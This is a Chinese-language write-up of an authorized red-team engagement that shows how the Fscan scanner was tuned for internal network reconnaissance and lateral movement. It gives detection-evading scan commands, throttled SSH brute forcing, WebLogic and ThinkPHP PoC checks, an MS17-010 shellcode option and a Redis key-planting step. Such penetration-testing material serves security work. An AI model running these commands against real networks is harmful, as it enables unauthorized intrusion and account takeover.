从一次真实的授权测试复盘：Fscan在内网横向移动中的实战技巧与参数调优

从一次真实的授权测试复盘Fscan在内网横向移动中的实战技巧与参数调优去年参与某金融企业的红队演练时遇到一个典型的多层网络隔离环境。当我们通过钓鱼邮件拿下外围Web服务器后发现内网存在大量ACL限制传统扫描工具要么速度极慢要么频繁触发告警。这时团队决定启用Fscan作为侦察先锋经过三天的持续测试最终通过精细化参数调整成功穿透五层网络边界。本文将分享这次实战中积累的参数调优经验和非常规用法。1. 侦察阶段的参数优化艺术1.1 存活探测的隐形技巧在存在流量监控的内网中ICMP探测往往会触发安全设备的告警。我们通过以下组合参数实现静默探测./fscan -h 10.10.10.0/24 -np -t 200 -time 10 -ping-np参数禁用ICMP协议改用TCP SYN探测-ping参数使用TCP ping替代传统ICMP-t 200将线程数控制在合理范围避免突发流量-time 10适当增加超时应对网络延迟实际测试发现这种配置使扫描流量完美混入正常业务通信某次扫描持续6小时未被发现。1.2 端口扫描的精准打击面对上千台主机的扫描任务需要避免全端口扫描的资源浪费。我们采用分阶段策略第一阶段快速扫描关键服务端口./fscan -h targets.txt -p 21,22,80,443,445,3389 -t 300 -m syn第二阶段针对开放主机深入扫描./fscan -hf open_hosts.txt -p 1-65535 -t 150 -time 15 -m syn关键参数对比参数第一阶段值第二阶段值作用-t300150降低线程避免丢包-time3(default)15增加超时应对复杂环境-msynsynSYN扫描更隐蔽2. 漏洞验证的进阶用法2.1 弱口令爆破的智能调控Fscan内置的爆破模块在实际测试中需要特别注意./fscan -h 10.10.10.50 -m ssh -t 50 -br 5 -userf users.txt -pwdf pass.txt -time 20-br 5限制爆破线程防止账号锁定-time 20延长超时应对网络延迟建议配合-debug 60记录失败尝试爆破成功率优化表场景推荐线程超时备注域环境br3time30通常有账号锁定策略工作组br10time10安全策略较宽松云主机br2time15容易触发安全告警2.2 Web漏洞的精准检测针对不同Web系统调整检测策略# 针对Java应用 ./fscan -u http://10.10.10.100 -pocname weblogic -cookie rememberMetest -wt 10 # 针对PHP应用 ./fscan -u http://10.10.10.101 -pocname thinkphp -debug 30提示使用-pocname指定检测类型可大幅提升效率避免无意义的全量扫描3. 横向移动的信息利用3.1 NetBIOS信息的深度挖掘Fscan输出的NetBIOS信息常包含关键线索[*] NetBios 192.168.1.100 WORKGROUP\FILE-SERVER01通过这个信息我们可以确认主机角色文件服务器获取潜在共享路径\FILE-SERVER01\share推断操作系统版本根据工作组命名规则3.2 网卡信息的战术价值扫描获得的网卡信息示例[*] NetInfo [*]192.168.1.100 [-gt;]eth0 192.168.1.100/24 [-gt;]eth1 172.16.1.100/16这类信息揭示了主机存在多网卡可能跨网络区域172.16.1.0/16可能是更核心的网络为后续路由跳板提供方向4. 特殊场景的应对方案4.1 高延迟网络的配置方案在某次跨国VPN连接测试中我们使用以下配置应对300ms的延迟./fscan -h 172.16.0.0/16 -t 100 -time 30 -wt 60 -nocolor -silent-time 30将TCP超时提高到30秒-wt 60Web请求超时设为1分钟-silent减少输出节省带宽4.2 绕过基础防护的尝试当遇到简单的流量清洗设备时可以尝试./fscan -h 10.10.10.0/24 -t 50 -time 20 -m ssh -sc add-t 50降低扫描速度-sc add在MS17-010检测中使用附加shellcode配合-proxy http://127.0.0.1:8080通过BurpSuite观察流量5. 结果分析与后续利用Fscan生成的报告需要结合其他工具进一步验证对开放445端口的主机用Nmap确认SMB版本nmap -p445 --script smb-os-discovery 192.168.1.100对Redis未授权访问手动验证写公钥redis-cli -h 192.168.1.100 config set dir /root/.ssh/对SSH弱口令使用专属账号登录测试ssh -o StrictHostKeyCheckingno -o ConnectTimeout15 user192.168.1.100在最近一次测试中我们通过Fscan发现的Oracle数据库结合ODAT工具最终拿下了域控服务器。整个过程耗时3天其中Fscan提供的关键线索节省了约40%的侦察时间。